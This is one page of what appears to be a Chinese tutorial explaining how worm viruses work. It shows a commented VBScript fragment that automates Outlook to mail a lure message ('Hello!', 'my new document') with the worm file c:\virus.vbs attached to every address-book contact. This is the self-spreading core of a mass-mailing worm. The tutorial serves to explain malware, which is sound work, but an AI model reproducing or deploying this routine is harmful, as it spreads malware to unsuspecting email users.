高手实例解析蠕虫病毒的原理5

  Set objMail=objOA.CreateItem （0）
    objMail.Recipients.Add （objAddList. AddressEntries （j）） ’取得收件人邮件地址
    objMail.Subject=“你好!“  ’设置邮件主题
    objMail.Body=“这次给你的附件，是我的新文档！“  ’设置信件内容
    objMail.Attachments.Add （“c:\virus.vbs“）  ’把自己作为附件扩散出去
    objMail.Send  ’发送邮件

页码：[1] [2] [3] [4] [5] [6] 第5页、共6页

设为首页 | 加入收藏 | 广告服务 | 友情链接 | 版权申明